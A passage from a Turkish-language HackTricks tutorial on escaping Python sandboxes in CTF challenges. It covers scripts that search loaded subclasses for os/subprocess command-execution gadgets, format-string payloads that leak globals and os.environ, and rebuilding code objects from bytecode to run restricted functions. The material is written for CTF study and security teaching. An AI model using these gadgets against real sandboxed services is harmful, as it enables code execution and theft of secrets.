print(f"{b}: {', '.join(vuln_libs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
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commands:
subprocess: BaseDependency, Origin, Version, Package
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pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
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imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
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pdb:
"""
```
Ayrıca, eğer **diğer kütüphanelerin** de **komutları yürütmek için fonksiyonları çağırabileceğini düşünüyorsanız**, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**:
```python
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bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
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bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
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vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
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commands:
subprocess: BaseDependency, Origin, Version, Package
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pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
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imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
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pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
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spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
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execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPReq
```
## Yinelemeli Arama Yapısı: Builtins, Globals...
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{% hint style="warning" %}
Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesne arıyorsanız**, bu betiği kullanarak **bu nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.**
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{% endhint %}
```python
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import os, sys # Import these to find more gadgets
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SEARCH_FOR = {
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# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),
# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),
# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
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}
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#More than 4 is very time consuming
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MAX_CONT = 4
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#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
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#ALREADY_CHECKED = set()
def check_recursive(element, cont, name, orig_n, orig_i, execute):
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# If bigger than maximum, stop
if cont > MAX_CONT:
return
# If already checked, stop
#if name and name in ALREADY_CHECKED:
# return
# Add to already checked
#if name:
# ALREADY_CHECKED.add(name)
# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass
except:
pass
# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
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def main():
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print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
print()
print(SEARCH_FOR)
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if __name__ == "__main__":
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main()
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```
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Bu betiğin çıktısını bu sayfada kontrol edebilirsiniz:
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{% content-ref url="broken-reference/" %}
[broken-reference](broken-reference/)
{% endcontent-ref %}
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## Python Biçim Dizesi
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Eğer python'a **biçimlendirilecek bir dize gönderirseniz**, `{}` kullanarak **python iç bilgilerine erişebilirsiniz**. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
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{% hint style="info" %}
Ancak, bir **kısıtlama** bulunmaktadır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **keyfi kodları yürütemezsiniz**, yalnızca bilgi okuyabilirsiniz.\
_**Bu zafiyet aracılığıyla kod yürütme konusunda bilgi sahibiyseniz, lütfen benimle iletişime geçin.**_
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{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
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"KEY": "ASXFYFGK78989"
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}
class PeopleInfo:
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def __init__(self, fname, lname):
self.fname = fname
self.lname = lname
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def get_name_for_avatar(avatar_str, people_obj):
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return avatar_str.format(people_obj = people_obj)
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people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Dikkat edin ki bir nesnenin özelliklerine **nokta** ile normal bir şekilde erişebilirsiniz, örneğin `people_obj.__init__`, ve **parantez** içinde tırnak olmadan **sözlük elemanlarına** erişebilirsiniz, `__globals__[CONFIG]`
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Ayrıca bir nesnenin elemanlarını numaralandırmak için `.__dict__` kullanabilirsiniz, `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
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Biçim dizelerinden diğer ilginç özelliklerden biri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olasılığıdır:
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```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Ayrıca, sınıflarda **yeni biçimleyiciler kodlamak mümkündür**:
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```python
class HAL9000(object):
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def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
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'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
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**Daha fazla örnek** **format** **dizisi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
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{% hint style="danger" %}
Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar için aşağıdaki sayfayı da kontrol edin:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Duyarlı Bilgi Açığını Ortaya Çıkaran Yükler
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```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```
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## Python Nesnelerini İnceleme
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{% hint style="info" %}
Python bytecode hakkında derinlemesine bilgi edinmek istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
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{% endhint %}
Bazı CTF'lerde, bayrağın bulunduğu özel bir fonksiyonun adı verilebilir ve bayrağı çıkarmak için fonksiyonun iç yapısını görmek gerekebilir.
İncelenmesi gereken fonksiyon:
```python
def get_flag(some_input):
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var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
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#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
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#### globals
`__globals__` ve `func_globals` (Aynı) Global ortamı elde eder. Örnekte, bazı içe aktarılan modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz:
```python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Daha fazla global değişken elde etmek için buraya bakın**](./#globals-and-locals)
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### **Fonksiyon koduna erişim**
**`__code__`** ve `func_code`: Fonksiyonun bu **özelliğine erişebilirsiniz** ve fonksiyonun kod nesnesini **elde edebilirsiniz**.
```python
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# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>
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#Get the attributes of the code object
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dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
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```
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### Kod Bilgisi Almak
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```python
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# Another example
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s = '''
a = 5
b = 'text'
def f(x):
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return x
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f(5)
'''
c=compile(s, "", "exec")
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# __doc__: Get the description of the function, if any
print.__doc__
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# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
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c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()
c.co_names
('a', 'b', 'f')
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()
#Get bytecode
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get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Fonksiyonu Ayrıştırma**
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```python
import dis
dis.dis(get_flag)
2 0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (var1)
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3 6 LOAD_CONST 2 ('secretcode')
9 STORE_FAST 2 (var2)
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4 12 LOAD_CONST 3 ('some')
15 LOAD_CONST 4 ('array')
18 BUILD_LIST 2
21 STORE_FAST 3 (var3)
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5 24 LOAD_FAST 0 (some_input)
27 LOAD_FAST 2 (var2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
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6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE
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8 >> 40 LOAD_CONST 6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Dikkat edin ki, eğer python kum havuzunda `dis`i içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözümleyebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak yüklenen değişkenin ofsetini (`LOAD_CONST`) `get_flag.func_code.co_consts`den tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini belirtir.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
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0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 4 (4)
18 BUILD_LIST 2
21 STORE_FAST 3 (3)
24 LOAD_FAST 0 (0)
27 LOAD_FAST 2 (2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 5 (5)
39 RETURN_VALUE
>> 40 LOAD_CONST 6 (6)
43 RETURN_VALUE
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Python Derlemesi
Şimdi, bir fonksiyon hakkında bilgi alabileceğinizi ancak çalıştıramayacağınızı hayal edelim, ama onu **çalıştırmanız gerekiyor**.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disassemble'ı okuyarak bayrağı nasıl hesaplayacağınızı **bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_).
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```python
def get_flag(some_input):
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var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
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```
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### Kod nesnesi oluşturma
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İlk olarak, **bir kod nesnesi oluşturup yürütmeyi** nasıl yapacağımızı bilmemiz gerekiyor, böylece sızdırılmış işlevimizi yürütmek için bir tane oluşturabiliriz:
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```python
code_type = type((lambda: None).__code__)
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# Check the following hint if you get an error in calling this
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code_obj = code_type(co_argcount, co_kwonlyargcount,
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co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
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# Execution
eval(code_obj) #Execute as a whole script
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# If you have the code of a function, execute it
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mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
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{% hint style="info" %}
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Python sürümüne bağlı olarak `code_type`'ın **parametreleri** farklı bir **sıraya** sahip olabilir. Çalıştırdığınız python sürümündeki parametre sırasını öğrenmenin en iyi yolu şudur:
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```
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
```
{% endhint %}
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### Sızdırılan bir fonksiyonun yeniden oluşturulması
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{% hint style="warning" %}
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırmanız gereken şey olduğunu unutmayın.
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{% endhint %}
```python
fc = get_flag.__code__
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# In a real situation the values like fc.co_argcount are the ones you need to leak
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code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
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mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Savunmaları Atlatma
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Bu yazının başlangıcındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynısını **`exec`** kullanarak yapabilirdik).\
Neyse ki, bazen yerel bir makinede **derlenmiş bir nesne oluşturmak** ve bunu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için).
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Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
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```python
#Locally
def read():
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return open("./poc.py",'r').read()
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read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
```
```python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')
# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, **uygun bir fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _sınırlı modda constructor erişilemez_. Bu nedenle, bu fonksiyonu çağırmak için **sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.**
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```python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Derlenmiş Python Kodunu Geri Çözme
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[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçlar kullanılarak verilen derlenmiş python kodu **geri çözülebilir**.
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**Bu öğreticiye göz atın**:
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{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
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{% endcontent-ref %}
## Çeşitli Python
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### Assert
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Python, `-O` parametresi ile optimize edilerek çalıştırıldığında, **debug** değerine bağlı olarak yapılan asset ifadelerini ve kodu kaldıracaktır.\
Bu nedenle, şu gibi kontroller:
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```python
def check_permission(super_user):
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try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
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```
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## Referanslar
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
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* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python\_sandbox\_escape)
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
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* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
2022-04-28 16:01:33 +00:00
2023-09-02 23:48:41 +00:00
***
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<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
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</details>